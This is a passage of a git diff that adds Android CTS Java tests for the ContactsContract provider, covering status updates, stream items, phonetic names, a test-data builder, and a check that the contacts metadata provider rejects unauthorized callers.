+                .withExpectedCount(1)
+                .build());
+
+        mResolver.applyBatch(ContactsContract.AUTHORITY, ops);
+    }
+
+    private void assertStatus(Uri uri, String status) throws Exception {
+        ArrayList<ContentProviderOperation> ops = new ArrayList<ContentProviderOperation>();
+        ops.add(ContentProviderOperation.newAssertQuery(uri)
+                .withValue(StatusUpdates.STATUS, status)
+                .withExpectedCount(1)
+                .build());
+
+        mResolver.applyBatch(ContactsContract.AUTHORITY, ops);
+    }
+
+    private void assertHasTimestamp(Uri uri, boolean hasTimestmap) throws Exception {
+        Cursor cursor = mResolver.query(uri, null, null, null, null);
+        try {
+            assertTrue(cursor.moveToNext());
+
+            if (hasTimestmap) {
+                assertNotNull(cursor.getString(cursor.getColumnIndexOrThrow(
+                        StatusUpdates.STATUS_TIMESTAMP)));
+            } else {
+                assertNull(cursor.getString(cursor.getColumnIndexOrThrow(
+                        StatusUpdates.STATUS_TIMESTAMP)));
+            }
+        } finally {
+            cursor.close();
+        }
+    }
+
+    public void testGetPresencePrecedence() {
+        assertPrecedence(StatusUpdates.AVAILABLE);
+        assertPrecedence(StatusUpdates.AWAY);
+        assertPrecedence(StatusUpdates.DO_NOT_DISTURB);
+        assertPrecedence(StatusUpdates.IDLE);
+        assertPrecedence(StatusUpdates.INVISIBLE);
+        assertPrecedence(StatusUpdates.OFFLINE);
+    }
+
+    private void assertPrecedence(int status) {
+        assertTrue(StatusUpdates.getPresencePrecedence(status) >= 0);
+    }
+
+    public void testGetPresenceIconresourceId() {
+        assertResource(StatusUpdates.AVAILABLE);
+        assertResource(StatusUpdates.AWAY);
+        assertResource(StatusUpdates.DO_NOT_DISTURB);
+        assertResource(StatusUpdates.IDLE);
+        assertResource(StatusUpdates.INVISIBLE);
+        assertResource(StatusUpdates.OFFLINE);
+    }
+
+    private void assertResource(int status) {
+        assertTrue(0 != StatusUpdates.getPresenceIconResourceId(status));
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_StreamItemPhotosTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_StreamItemPhotosTest.java
new file mode 100644
index 0000000..24cc122
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_StreamItemPhotosTest.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.net.Uri;
+import android.provider.ContactsContract.StreamItemPhotos;
+import android.provider.ContactsContract.StreamItems;
+import android.provider.cts.PhotoUtil;
+import android.test.AndroidTestCase;
+
+public class ContactsContract_StreamItemPhotosTest extends AndroidTestCase {
+
+    private ContentResolver mResolver;
+
+    private Uri mStreamItemUri;
+
+    private long mStreamItemId;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResolver = mContext.getContentResolver();
+
+        long rawContactId = ContactsContract_StreamItemsTest.insertRawContact(mResolver);
+        mStreamItemUri = ContactsContract_StreamItemsTest.insertViaContentDirectoryUri(mResolver,
+                rawContactId);
+        mStreamItemId = ContentUris.parseId(mStreamItemUri);
+        assertTrue(mStreamItemId != -1);
+    }
+
+    public void testContentDirectoryUri() {
+        byte[] photoData = PhotoUtil.getTestPhotoData(mContext);
+        ContentValues values = new ContentValues();
+        values.put(StreamItemPhotos.SORT_INDEX, 1);
+        values.put(StreamItemPhotos.PHOTO, photoData);
+
+        Uri insertUri = Uri.withAppendedPath(
+                ContentUris.withAppendedId(StreamItems.CONTENT_URI, mStreamItemId),
+                StreamItems.StreamItemPhotos.CONTENT_DIRECTORY);
+        Uri uri = mResolver.insert(insertUri, values);
+        long photoId = ContentUris.parseId(uri);
+        assertTrue(photoId != -1);
+        assertEquals(Uri.withAppendedPath(insertUri, Long.toString(photoId)), uri);
+    }
+
+    public void testContentPhotoUri() {
+        byte[] photoData = PhotoUtil.getTestPhotoData(mContext);
+        ContentValues values = new ContentValues();
+        values.put(StreamItemPhotos.STREAM_ITEM_ID, mStreamItemId);
+        values.put(StreamItemPhotos.SORT_INDEX, 1);
+        values.put(StreamItemPhotos.PHOTO, photoData);
+
+        Uri uri = mResolver.insert(StreamItems.CONTENT_PHOTO_URI, values);
+        long photoId = ContentUris.parseId(uri);
+        assertTrue(photoId != -1);
+        assertEquals(Uri.withAppendedPath(StreamItems.CONTENT_PHOTO_URI,
+                Long.toString(photoId)), uri);
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_StreamItemsTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_StreamItemsTest.java
new file mode 100644
index 0000000..a69b97c
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_StreamItemsTest.java
@@ -0,0 +1,182 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.ContentProviderOperation;
+import android.content.ContentProviderResult;
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.ContactsContract;
+import android.provider.ContactsContract.Data;
+import android.provider.ContactsContract.RawContacts;
+import android.provider.ContactsContract.StreamItems;
+import android.test.AndroidTestCase;
+
+import java.util.ArrayList;
+
+public class ContactsContract_StreamItemsTest extends AndroidTestCase {
+
+    private static final String ACCOUNT_TYPE = "com.android.cts";
+    private static final String ACCOUNT_NAME = "ContactsContract_StreamItemsTest";
+
+    private static final String INSERT_TEXT = "Wrote a test for the StreamItems class";
+    private static final long INSERT_TIMESTAMP = 3007;
+    private static final String INSERT_COMMENTS = "1337 people reshared this";
+
+    private static final String UPDATE_TEXT = "Wrote more tests for the StreamItems class";
+    private static final long UPDATE_TIMESTAMP = 8008;
+    private static final String UPDATE_COMMENTS = "3007 people reshared this";
+
+    private ContentResolver mResolver;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResolver = mContext.getContentResolver();
+    }
+
+    public void testContentDirectoryUri() throws Exception {
+        long rawContactId = insertRawContact(mResolver);
+        Uri streamItemUri = insertViaContentDirectoryUri(mResolver, rawContactId);
+        long streamItemId = ContentUris.parseId(streamItemUri);
+        assertTrue(streamItemId != -1);
+
+        // Check that the provider returns the stream id in it's URI.
+        assertEquals(streamItemUri,
+                ContentUris.withAppendedId(RawContacts.CONTENT_URI, rawContactId).buildUpon()
+                        .appendPath(RawContacts.StreamItems.CONTENT_DIRECTORY)
+                        .appendPath(Long.toString(streamItemId))
+                        .build());
+
+        // Check that the provider stored what we put into it.
+        assertInsertedItem(streamItemUri);
+
+        // Update the stream item.
+        ContentValues values = new ContentValues();
+        values.put(Data.RAW_CONTACT_ID, rawContactId);
+        values.put(RawContacts.ACCOUNT_TYPE, ACCOUNT_TYPE);
+        values.put(RawContacts.ACCOUNT_NAME, ACCOUNT_NAME);
+        values.put(StreamItems.TEXT, UPDATE_TEXT);
+        values.put(StreamItems.TIMESTAMP, UPDATE_TIMESTAMP);
+        values.put(StreamItems.COMMENTS, UPDATE_COMMENTS);
+
+        assertEquals(1, mResolver.update(streamItemUri, values, null, null));
+        assertUpdatedItem(streamItemUri);
+    }
+
+    static long insertRawContact(ContentResolver resolver) {
+        // Create a contact to attach the stream item to it.
+        ContentValues values = new ContentValues();
+        values.put(RawContacts.ACCOUNT_TYPE, ACCOUNT_TYPE);
+        values.put(RawContacts.ACCOUNT_NAME, ACCOUNT_NAME);
+
+        Uri contactUri = resolver.insert(RawContacts.CONTENT_URI, values);
+        long rawContactId = ContentUris.parseId(contactUri);
+        assertTrue(rawContactId != -1);
+        return rawContactId;
+    }
+
+    static Uri insertViaContentDirectoryUri(ContentResolver resolver, long rawContactId) {
+        // Attach a stream item to the contact.
+        ContentValues values = new ContentValues();
+        values.put(RawContacts.ACCOUNT_TYPE, ACCOUNT_TYPE);
+        values.put(RawContacts.ACCOUNT_NAME, ACCOUNT_NAME);
+        values.put(StreamItems.TEXT, INSERT_TEXT);
+        values.put(StreamItems.TIMESTAMP, INSERT_TIMESTAMP);
+        values.put(StreamItems.COMMENTS, INSERT_COMMENTS);
+
+        Uri contactStreamUri = Uri.withAppendedPath(
+                ContentUris.withAppendedId(RawContacts.CONTENT_URI, rawContactId),
+                RawContacts.StreamItems.CONTENT_DIRECTORY);
+        return resolver.insert(contactStreamUri, values);
+    }
+
+    public void testContentUri() throws Exception {
+        // Create a contact with one stream item in it.
+        ArrayList<ContentProviderOperation> ops = new ArrayList<ContentProviderOperation>();
+
+        ops.add(ContentProviderOperation.newInsert(RawContacts.CONTENT_URI)
+                .withValue(RawContacts.ACCOUNT_TYPE, ACCOUNT_TYPE)
+                .withValue(RawContacts.ACCOUNT_NAME, ACCOUNT_NAME)
+                .build());
+
+        ops.add(ContentProviderOperation.newInsert(StreamItems.CONTENT_URI)
+                .withValueBackReference(Data.RAW_CONTACT_ID, 0)
+                .withValue(RawContacts.ACCOUNT_TYPE, ACCOUNT_TYPE)
+                .withValue(RawContacts.ACCOUNT_NAME, ACCOUNT_NAME)
+                .withValue(StreamItems.TEXT, INSERT_TEXT)
+                .withValue(StreamItems.TIMESTAMP, INSERT_TIMESTAMP)
+                .withValue(StreamItems.COMMENTS, INSERT_COMMENTS)
+                .build());
+
+        ContentProviderResult[] results = mResolver.applyBatch(ContactsContract.AUTHORITY, ops);
+        long rawContactId = ContentUris.parseId(results[0].uri);
+        assertTrue(rawContactId != -1);
+
+        Uri streamItemUri = results[1].uri;
+        long streamItemId = ContentUris.parseId(streamItemUri);
+        assertTrue(streamItemId != -1);
+
+        // Check that the provider returns the stream id in it's URI.
+        assertEquals(streamItemUri,
+                ContentUris.withAppendedId(StreamItems.CONTENT_URI, streamItemId));
+
+        // Check that the provider stored what we put into it.
+        assertInsertedItem(streamItemUri);
+
+        // Update the stream item.
+        ops.clear();
+        ops.add(ContentProviderOperation.newUpdate(streamItemUri)
+                .withValue(Data.RAW_CONTACT_ID, rawContactId)
+                .withValue(RawContacts.ACCOUNT_TYPE, ACCOUNT_TYPE)
+                .withValue(RawContacts.ACCOUNT_NAME, ACCOUNT_NAME)
+                .withValue(StreamItems.TEXT, UPDATE_TEXT)
+                .withValue(StreamItems.TIMESTAMP, UPDATE_TIMESTAMP)
+                .withValue(StreamItems.COMMENTS, UPDATE_COMMENTS)
+                .build());
+
+        results = mResolver.applyBatch(ContactsContract.AUTHORITY, ops);
+        assertEquals(Integer.valueOf(1), results[0].count);
+        assertUpdatedItem(streamItemUri);
+    }
+
+    private void assertInsertedItem(Uri itemUri) {
+        assertStreamItem(itemUri, INSERT_TEXT, INSERT_TIMESTAMP, INSERT_COMMENTS);
+    }
+
+    private void assertUpdatedItem(Uri itemUri) {
+        assertStreamItem(itemUri, UPDATE_TEXT, UPDATE_TIMESTAMP, UPDATE_COMMENTS);
+    }
+
+    private void assertStreamItem(Uri uri, String text, long timestamp, String comments) {
+        Cursor cursor = mResolver.query(uri, null, null, null, null);
+        try {
+            assertTrue(cursor.moveToFirst());
+            assertEquals(text, cursor.getString(
+                    cursor.getColumnIndexOrThrow(StreamItems.TEXT)));
+            assertEquals(timestamp, cursor.getLong(
+                    cursor.getColumnIndexOrThrow(StreamItems.TIMESTAMP)));
+            assertEquals(comments, cursor.getString(
+                    cursor.getColumnIndexOrThrow(StreamItems.COMMENTS)));
+        } finally {
+            cursor.close();
+        }
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_StructuredPhoneticName.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_StructuredPhoneticName.java
new file mode 100644
index 0000000..d3f45c8
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_StructuredPhoneticName.java
@@ -0,0 +1,153 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import junit.framework.Assert;
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.provider.ContactsContract;
+import android.provider.ContactsContract.AggregationExceptions;
+import android.provider.ContactsContract.CommonDataKinds.StructuredName;
+import android.provider.ContactsContract.Contacts;
+import android.provider.ContactsContract.Data;
+import android.provider.ContactsContract.DisplayNameSources;
+import android.provider.ContactsContract.RawContacts;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestContact;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestData;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestRawContact;
+import android.test.AndroidTestCase;
+
+/**
+ * CTS tests for {@link DisplayNameSources#STRUCTURED_PHONETIC_NAME}.
+ */
+public class ContactsContract_StructuredPhoneticName extends AndroidTestCase {
+    private ContentResolver mResolver;
+    private ContactsContract_TestDataBuilder mBuilder;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResolver = getContext().getContentResolver();
+        ContentProviderClient provider =
+                mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
+        mBuilder = new ContactsContract_TestDataBuilder(provider);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        mBuilder.cleanup();
+        super.tearDown();
+    }
+
+    public void testPhoneticStructuredName() throws Exception {
+        // Setup: contact with only phonetic name
+        TestRawContact rawContact1 = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        TestData name1 = rawContact1.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.PHONETIC_FAMILY_NAME, "phonetic name")
+                .insert();
+        rawContact1.load();
+        name1.load();
+
+        // Verify: DISPLAY_NAME_SOURCE notices that the StructuredName only has phonetic components
+        TestContact contact = rawContact1.getContact().load();
+        contact.assertColumn(Contacts.DISPLAY_NAME_SOURCE,
+                DisplayNameSources.STRUCTURED_PHONETIC_NAME);
+    }
+
+    public void testPhoneticNameStyleColumnName() throws Exception {
+        // Make sure the column name is data11 and not phonetic_name_style
+        // from the parent class.
+        assertEquals(Data.DATA11, StructuredName.PHONETIC_NAME_STYLE);
+    }
+
+    public void testPhoneticStructuredName_phoneticPriority1() throws Exception {
+        // Setup: one raw contact has a complex phonetic name and the other a simple given name
+        TestRawContact rawContact1 = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        TestData name1 = rawContact1.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.GIVEN_NAME, "name")
+                .insert();
+        rawContact1.load();
+        name1.load();
+
+        TestRawContact rawContact2 = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        TestData name2 = rawContact2.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.PHONETIC_FAMILY_NAME, "name phonetic")
+                .insert();
+        rawContact2.load();
+        name2.load();
+
+        // Execute: aggregate the two raw contacts together
+        ContactUtil.setAggregationException(mResolver, AggregationExceptions.TYPE_KEEP_TOGETHER,
+                rawContact1.getId(), rawContact2.getId());
+
+        // Sanity check: two contacts are aggregated
+        rawContact1.load();
+        rawContact2.load();
+        Assert.assertEquals(rawContact1.getContactId(), rawContact2.getContactId());
+
+        // Verify: the display name is taken from the name with more than phonetic components
+        TestContact contact = rawContact2.getContact().load();
+        contact.assertColumn(Contacts.DISPLAY_NAME, "name");
+    }
+
+    // Same as testPhoneticStructuredName_phoneticPriority1, but with setup order reversed
+    public void testPhoneticStructuredName_phoneticPriority2() throws Exception {
+        // Setup: one raw contact has a complex phonetic name and the other a simple given name
+        TestRawContact rawContact2 = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        TestData name2 = rawContact2.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.PHONETIC_FAMILY_NAME, "name phonetic")
+                .insert();
+        rawContact2.load();
+        name2.load();
+
+        TestRawContact rawContact1 = mBuilder.newRawContact()
+                .with(RawContacts.ACCOUNT_TYPE, "test_account")
+                .with(RawContacts.ACCOUNT_NAME, "test_name")
+                .insert();
+        TestData name1 = rawContact1.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+                .with(StructuredName.GIVEN_NAME, "name")
+                .insert();
+        rawContact1.load();
+        name1.load();
+
+        // Execute: aggregate the two raw contacts together
+        ContactUtil.setAggregationException(mResolver, AggregationExceptions.TYPE_KEEP_TOGETHER,
+                rawContact1.getId(), rawContact2.getId());
+
+        // Sanity check: two contacts are aggregated
+        rawContact1.load();
+        rawContact2.load();
+        Assert.assertEquals(rawContact1.getContactId(), rawContact2.getContactId());
+
+        // Verify: the display name is taken from the name with more than phonetic components
+        TestContact contact = rawContact2.getContact().load();
+        contact.assertColumn(Contacts.DISPLAY_NAME, "name");
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_TestDataBuilder.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_TestDataBuilder.java
new file mode 100644
index 0000000..ffd3406
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_TestDataBuilder.java
@@ -0,0 +1,383 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import com.google.android.collect.Lists;
+import com.google.android.collect.Sets;
+
+import android.content.ContentProviderClient;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.BaseColumns;
+import android.provider.ContactsContract;
+import android.provider.ContactsContract.Contacts;
+import android.provider.ContactsContract.Data;
+import android.provider.ContactsContract.Groups;
+import android.provider.ContactsContract.RawContacts;
+import android.text.TextUtils;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
+
+import junit.framework.Assert;
+import junit.framework.ComparisonFailure;
+
+/**
+ * A test data builder for ContactsContract tests.
+ */
+public class ContactsContract_TestDataBuilder {
+    private ContentProviderClient mProvider;
+    private ArrayList<Builder<?>> mCreatedRows = Lists.newArrayList();
+    private HashSet<Builder<?>> mLoadedRows = Sets.newHashSet();
+
+    private interface IdQuery {
+        String[] COLUMNS = new String[] {
+            BaseColumns._ID,
+        };
+
+        int _ID = 0;
+    }
+
+    public abstract class  Builder<T extends Builder<?>> extends Assert {
+        protected ContentValues mValues = new ContentValues();
+        private Uri mUri;
+        private long mId = -1;
+        private Cursor mCursor;
+        private boolean mAlreadyDeleted;
+
+        protected abstract Uri getContentUri();
+
+        public long getId() throws Exception {
+            if (mId != -1) {
+                return mId;
+            }
+
+            assertNotNull("Row has not be inserted or loaded yet", mUri);
+
+            Cursor cursor = mProvider.query(mUri, IdQuery.COLUMNS, null, null, null, null);
+            if (cursor != null) {
+                try {
+                    cursor.moveToFirst();
+                    mId = cursor.getInt(IdQuery._ID);
+                } finally {
+                    cursor.close();
+                }
+
+            }
+            assertTrue("Could not obtain _ID for URI: " + mUri, mId != -1);
+            return mId;
+        }
+
+        @SuppressWarnings("unchecked")
+        public T setUri(Uri uri) {
+            mUri = uri;
+            return (T)this;
+        }
+
+        public Uri getUri() {
+            if (mUri == null) {
+                assertTrue("Neither URI nor ID has been specified", mId != -1);
+                mUri = ContentUris.withAppendedId(getContentUri(), mId);
+            }
+            return mUri;
+        }
+
+        @SuppressWarnings("unchecked")
+        public T with(String key, String value) {
+            mValues.put(key, value);
+            return (T)this;
+        }
+
+        @SuppressWarnings("unchecked")
+        public T with(String key, long value) {
+            mValues.put(key, value);
+            return (T)this;
+        }
+
+        @SuppressWarnings("unchecked")
+        public T with(String key, byte[] value) {
+            mValues.put(key, value);
+            return (T)this;
+        }
+
+        @SuppressWarnings("unchecked")
+        public T insert() throws Exception {
+            insertDependent();
+            mCreatedRows.add(this);
+            return (T)this;
+        }
+
+        @SuppressWarnings("unchecked")
+        public T insertDependent() throws Exception {
+            mUri = mProvider.insert(getContentUri(), mValues);
+            assertNotNull("Could not insert a row in " + getContentUri(), mUri);
+            mId = ContentUris.parseId(mUri);
+            return (T)this;
+        }
+
+        public void delete() throws Exception {
+            int count = mProvider.delete(getUri(), null, null);
+            assertEquals("Wrong number of rows deleted for " + getUri(), 1, count);
+        }
+
+        public void deletePermanently() throws Exception {
+            if (mAlreadyDeleted) {
+                return;
+            }
+            Uri uri = getUri().buildUpon()
+                    .appendQueryParameter(ContactsContract.CALLER_IS_SYNCADAPTER, "true")
+                    .build();
+            int count = mProvider.delete(uri, null, null);
+            assertEquals("Wrong number of rows deleted for " + uri, 1, count);
+            mCreatedRows.remove(this);
+        }
+
+        @SuppressWarnings("unchecked")
+        public T load() throws Exception {
+            close();
+            mLoadedRows.add(this);
+
+            mCursor = mProvider.query(getUri(), null, null, null, null, null);
+            if (mCursor == null || !mCursor.moveToFirst()) {
+                return null;
+            } else {
+                return (T) this;
+            }
+        }
+
+        @SuppressWarnings("unchecked")
+        public T loadUsingValues() throws Exception {
+            close();
+            mLoadedRows.add(this);
+
+            StringBuilder selection = new StringBuilder();
+            ArrayList<String> selectionArgs = Lists.newArrayList();
+            Set<Map.Entry<String, Object>> entries = mValues.valueSet();
+            for (Map.Entry<String, Object> entry : entries) {
+                String column = entry.getKey();
+                Object value = entry.getValue();
+
+                if (selection.length() != 0) {
+                    selection.append(" AND ");
+                }
+
+                selection.append(column);
+                if (value == null) {
+                    selection.append(" NOT NULL");
+                } else {
+                    selection.append("=?");
+                    selectionArgs.add(value.toString());
+                }
+            }
+            mCursor = mProvider.query(getContentUri(), null,
+                    selection.toString(),
+                    selectionArgs.toArray(new String[0]), null, null);
+            if (mCursor == null || !mCursor.moveToFirst()) {
+                fail("No data rows for " + getContentUri() + "[" + mValues.toString() + "]");
+            }
+            mId = mCursor.getLong(getColumnIndex(BaseColumns._ID));
+            return (T)this;
+        }
+
+        public boolean isNull(String columnName) {
+            return mCursor.isNull(mCursor.getColumnIndex(columnName));
+        }
+
+        public long getLong(String columnName) {
+            return mCursor.getLong(mCursor.getColumnIndex(columnName));
+        }
+
+        public String getString(String columnName) {
+            return mCursor.getString(mCursor.getColumnIndex(columnName));
+        }
+
+        public void assertColumn(String columnName, long value) {
+            assertEquals(value, mCursor.getLong(getColumnIndex(columnName)));
+        }
+
+        public void assertColumn(String columnName, String value) {
+            assertEquals(value, mCursor.getString(getColumnIndex(columnName)));
+        }
+
+        public void assertColumn(String columnName, byte[] value) {
+            assertEquals(value, mCursor.getBlob(getColumnIndex(columnName)));
+        }
+
+        public void assertBlobColumnNotNull(String columnName) {
+            assertNotNull(mCursor.getBlob(getColumnIndex(columnName)));
+        }
+
+        public void assertBlobColumnNull(String columnName) {
+            assertNull(mCursor.getBlob(getColumnIndex(columnName)));
+        }
+
+        public void assertEquals(byte[] expected, byte[] actual) {
+            assertEquals(null, expected, actual);
+        }
+
+        public void assertEquals(String message, byte[] expected, byte[] actual) {
+            if (expected == null && actual == null)
+                return;
+            if (expected != null && Arrays.equals(actual, expected))
+                return;
+            throw new ComparisonFailure(message, expected.toString(), actual.toString());
+        }
+
+        private int getColumnIndex(String columnName) {
+            int index = mCursor.getColumnIndex(columnName);
+            assertTrue("No such column: " + columnName +
+                    ". Available columns: " + TextUtils.join(", ", mCursor.getColumnNames()),
+                    index != -1);
+            return index;
+        }
+
+        public void close() {
+            if (mCursor != null) {
+                mCursor.close();
+                mCursor = null;
+            }
+            mLoadedRows.remove(this);
+        }
+
+        public void setAlreadyDeleted() {
+            mAlreadyDeleted = true;
+        }
+    }
+
+    public class TestRawContact extends Builder<TestRawContact> {
+
+        private TestContact mContact;
+
+        @Override
+        protected Uri getContentUri() {
+            return RawContacts.CONTENT_URI;
+        }
+
+        public TestData newDataRow(String mimeType) {
+            return new TestData(this, mimeType);
+        }
+
+        public long getContactId() {
+            return getLong(RawContacts.CONTACT_ID);
+        }
+
+        public TestContact getContact() throws Exception {
+            if (mContact == null) {
+                mContact = new NestedTestContact(this);
+            }
+            return mContact;
+        }
+    }
+
+    public class TestContact extends Builder<TestContact> {
+
+        @Override
+        protected Uri getContentUri() {
+            return Contacts.CONTENT_URI;
+        }
+    }
+
+    private class NestedTestContact extends TestContact {
+        private final TestRawContact mRawContact;
+
+        public NestedTestContact(TestRawContact rawContact) {
+            mRawContact = rawContact;
+        }
+
+        @Override
+        public long getId() throws Exception {
+            return mRawContact.getContactId();
+        }
+
+        @Override
+        public TestContact load() throws Exception {
+            return with(Contacts._ID, mRawContact.getContactId()).loadUsingValues();
+        }
+    }
+
+    public class TestGroup extends Builder<TestGroup> {
+
+        @Override
+        protected Uri getContentUri() {
+            return Groups.CONTENT_URI;
+        }
+    }
+
+    public class TestData extends Builder<TestData> {
+        private final TestRawContact mRawContact;
+
+        public TestData(TestRawContact rawContact, String mimeType) {
+            this.mRawContact = rawContact;
+            mValues.put(Data.MIMETYPE, mimeType);
+        }
+
+        @Override
+        protected Uri getContentUri() {
+            return Data.CONTENT_URI;
+        }
+
+        @Override
+        public TestData insert() throws Exception {
+            mValues.put(Data.RAW_CONTACT_ID, mRawContact.getId());
+            return super.insertDependent();
+        }
+
+        public long getRawContactId() {
+            return getLong(Data.RAW_CONTACT_ID);
+        }
+
+        public long getId() {
+            return getLong(Data._ID);
+        }
+
+        public TestRawContact getRawContact() throws Exception {
+            return mRawContact;
+        }
+    }
+
+    public ContactsContract_TestDataBuilder(ContentProviderClient provider) {
+        this.mProvider = provider;
+    }
+
+    public TestRawContact newRawContact() {
+        return new TestRawContact();
+    }
+
+    public TestContact newContact() {
+        return new TestContact();
+    }
+
+    public TestGroup newGroup() {
+        return new TestGroup();
+    }
+
+    public void cleanup() throws Exception {
+        for (Builder<?> builder : new ArrayList<Builder<?>>(mCreatedRows)) {
+            builder.deletePermanently();
+        }
+
+        for (Builder<?> builder : new HashSet<Builder<?>>(mLoadedRows)) {
+            builder.close();
+        }
+    }
+
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsMetadataProviderTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsMetadataProviderTest.java
new file mode 100644
index 0000000..2aa864c
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/ContactsMetadataProviderTest.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package android.provider.cts.contacts;
+
+import android.content.ContentValues;
+import android.net.Uri;
+import android.test.AndroidTestCase;
+import android.test.MoreAsserts;
+
+/**
+ * Make sure the provider is protected.
+ *
+ * Run with:
+ * cts-tradefed run cts --class android.provider.cts.ContactsMetadataProviderTest < /dev/null
+ */
+public class ContactsMetadataProviderTest extends AndroidTestCase {
+
+    /** The authority for the contacts metadata */
+    public static final String METADATA_AUTHORITY = "com.android.contacts.metadata";
+
+    /** A content:// style uri to the authority for the contacts metadata */
+    public static final Uri METADATA_AUTHORITY_URI = Uri.parse(
+            "content://" + METADATA_AUTHORITY);
+
+    /**
+     * The content:// style URI for this table.
+     */
+    public static final Uri CONTENT_URI = Uri.withAppendedPath(METADATA_AUTHORITY_URI,
+            "metadata_sync");
+
+    public void testCallerCheck() {
+        try {
+            getContext().getContentResolver().query(CONTENT_URI, null, null, null, null);
+            fail();
+        } catch (SecurityException e) {
+            MoreAsserts.assertContainsRegex("can't access ContactMetadataProvider", e.getMessage());
+        }
+        try {
